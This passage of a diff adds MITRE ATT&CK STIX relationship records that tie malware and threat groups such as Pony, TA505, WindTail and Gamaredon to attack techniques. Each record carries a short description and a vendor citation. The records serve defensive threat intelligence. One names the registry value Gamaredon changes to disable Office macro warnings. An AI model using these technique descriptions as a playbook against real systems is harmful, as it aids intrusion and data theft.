Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-06-15T21:31:38.116Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.273Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a0b2b4b4-c522-4428-a70b-ad1002417a28", + "description": "[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into clicking links in spoofed emails from legitimate banks.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-06-15T21:31:38.112Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.281Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02075984-9bec-465e-8a21-6717b9a1308b", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used several Windows functions for various purposes.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2020-05-21T21:31:34.290Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.290Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b2fa1ed-6c4f-4974-a44e-beeadf3a887c", + "description": "[Pony](https://attack.mitre.org/software/S0453) attachments have been delivered via compressed archive files. [Pony](https://attack.mitre.org/software/S0453) also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-06-15T16:51:22.160Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.298Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8f5e9158-1abe-4ed7-8a0a-df07f629aac8", + "description": "[Pony](https://attack.mitre.org/software/S0453) has delayed execution using a built-in function to avoid detection and analysis.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "modified": "2020-05-21T21:31:34.306Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.306Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5853ff4e-9982-4d66-bf98-6c22fa42f305", + "description": "[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing emails which contained malicious links.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2020-05-21T21:31:34.404Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.404Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d1cb122-5195-4d04-b5c9-85f4747886fa", + "description": "[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).(Citation: Malwarebytes Pony April 2016)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-06-15T21:31:38.170Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.415Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbdb211a-2772-4905-99f1-0415fb0738b3", + "description": "[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing attachments.(Citation: Malwarebytes Pony April 2016)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-05-21T21:31:34.422Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.422Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. 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Retrieved May 26, 2020.", + "source_name": "Symantec Whitefly March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2dd1c028-bebc-4631-b17b-3dd27a595c00", + "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec to copy the [Netwalker](https://attack.mitre.org/software/S0457) payload across accessible systems.(Citation: Sophos Netwalker May 2020)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-05-27T22:05:32.039Z", + "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-27T22:05:32.039Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", + "description": "Szappanos, G., Brandt, A.. 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Retrieved March 24, 2021.", + "source_name": "Antiy CERT Ramsay April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--365f82e7-6fad-44a7-855d-955d4307920f", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can spread itself by infecting other portable executable files on networks shared drives.(Citation: Eset Ramsay May 2020)\t", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "modified": "2020-06-08T19:12:14.263Z", + "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-28T16:38:03.777Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", + "description": "Sanmillan, I.. (2020, May 13). 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(2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", + "source_name": "BitDefender Chafer May 2020" + }, + { + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.", + "source_name": "FBI FLASH APT39 September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6c1da818-6e35-4fa8-ad40-e45c2c90e016", + "description": "Consider adding users to the \"Protected Users\" Active Directory security group. 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Retrieved May 29, 2020.", + "source_name": "Microsoft Protected Users Security Group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fee6aca0-dcb7-43b4-a253-66913620631a", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has executed commands using cmd.exe.(Citation: Trend Micro TA505 June 2019)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-06-15T22:05:43.295Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T19:02:06.766Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c5be8127-669e-49b9-b603-581e3498d203", + "description": "(Citation: Trend Micro TA505 June 2019)", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2020-05-29T19:02:07.052Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T19:02:07.052Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8982affe-fe2b-40c8-8b0c-e539687f4124", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) has the ability to execute a PowerShell script to get information from the infected host.(Citation: Trend Micro TA505 June 2019)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-05-29T19:31:03.872Z", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T19:31:03.872Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--53356453-2cf1-46d9-ac8f-77fc3a2274d9", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used fast flux to mask botnets by distributing payloads across multiple IPs.(Citation: Trend Micro TA505 June 2019)", + "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "modified": "2020-06-17T19:18:13.843Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T20:09:48.844Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02c88228-8275-42a7-9c3a-d5393556bceb", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used the tool EmailStealer to steal and send lists of e-mail addresses to a remote server.(Citation: Trend Micro TA505 June 2019)", + "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "modified": "2020-06-16T16:57:13.566Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T20:09:48.869Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a0db1e3-cd18-4f00-936b-4b8ede1e0498", + "description": "[Get2](https://attack.mitre.org/software/S0460) has the ability to inject DLLs into processes.(Citation: Proofpoint TA505 October 2019)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-06-15T22:52:32.039Z", + "source_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T20:32:42.892Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c14e629a-c0cd-4600-873b-924d04d8b627", + "description": "[Get2](https://attack.mitre.org/software/S0460) has the ability to run executables with command-line arguments.(Citation: Proofpoint TA505 October 2019)", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2020-06-15T22:52:32.032Z", + "source_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-29T20:32:42.897Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. 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Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT November 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ec0f8f62-0eb6-4d40-a8c2-c3a083a79acd", + "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to delete downloaded files from a compromised host.(Citation: Unit 42 CARROTBAT November 2018)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-06-15T15:13:27.764Z", + "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-02T17:42:45.479Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", + "description": "Grunzweig, J. and Wilhoit, K. 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Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT January 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--01ebd689-8233-409a-a12d-eafb2546f665", + "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Systeminfo](https://attack.mitre.org/software/S0096) to identify system information.(Citation: Unit 42 CARROTBAT January 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-06-15T15:17:10.123Z", + "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-02T18:46:58.612Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", + "description": "McCabe, A. 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Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT November 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b569311-24d2-439d-badb-a5076955cda3", + "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT January 2020)", + "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "modified": "2020-06-02T19:36:48.172Z", + "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-02T19:36:48.172Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", + "description": "McCabe, A. (2020, January 23). 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Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT January 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b4016d43-d8c4-4ca2-b119-0681ebe8aaff", + "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to decrypt strings using hard-coded AES keys.(Citation: objective-see windtail1 dec 2018)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-06-04T19:45:16.042Z", + "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-04T19:45:16.042Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x3B.html", + "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.", + "source_name": "objective-see windtail1 dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1fe64d85-29ca-4cf0-9b30-8d41ebad37fc", + "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to enumerate the users home directory and the path to its own application bundle.(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-06-25T18:41:35.200Z", + "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-04T19:45:16.047Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x3B.html", + "description": "Wardle, Patrick. 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Retrieved October 3, 2019.", + "source_name": "objective-see windtail2 jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d0f83de0-975e-4cc2-8423-e91549f952d9", + "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to receive and execute a self-delete command.(Citation: objective-see windtail2 jan 2019)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-06-04T19:45:16.052Z", + "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-04T19:45:16.052Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x3D.html", + "description": "Wardle, Patrick. (2019, January 15). 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Retrieved October 3, 2019.", + "source_name": "objective-see windtail2 jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d811dad0-a813-4293-81fc-55e8ea6a54be", + "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.(Citation: objective-see windtail2 jan 2019)", + "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "modified": "2020-06-25T18:24:00.683Z", + "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-04T20:14:50.400Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x3D.html", + "description": "Wardle, Patrick. (2019, January 15). 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Retrieved June 10, 2020.", + "source_name": "iSight Sandworm Oct 2014" + }, + { + "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. 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Retrieved June 10, 2020.", + "source_name": "ESET Telebots Dec 2016" + }, + { + "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", + "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. 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(2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--28c17b23-901c-46d5-84f2-544401f68d83", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has obfuscated .NET executables by inserting junk code.(Citation: ESET Gamaredon June 2020)\t", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2020-06-16T17:53:18.782Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:18.782Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--16b915ff-7bf5-4032-b39a-9c8073847d77", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used its backdoors to automatically list interesting files (such as Office documents) found on a system.(Citation: ESET Gamaredon June 2020)\t", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-08-31T15:06:48.852Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:18.787Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7464b3a1-f7ab-481b-97d4-c98199e0a387", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered macros which can tamper with Microsoft Office security settings.(Citation: ESET Gamaredon June 2020)\t", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2020-06-16T17:53:18.825Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:18.825Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--109bbda3-f97a-4067-81d6-ed635f251282", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", + "modified": "2020-06-22T19:08:12.489Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:18.964Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5edb6931-3262-40a9-acce-3016ac4153d4", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has removed security settings for VBA macro execution by changing registry values HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\VBAWarnings and 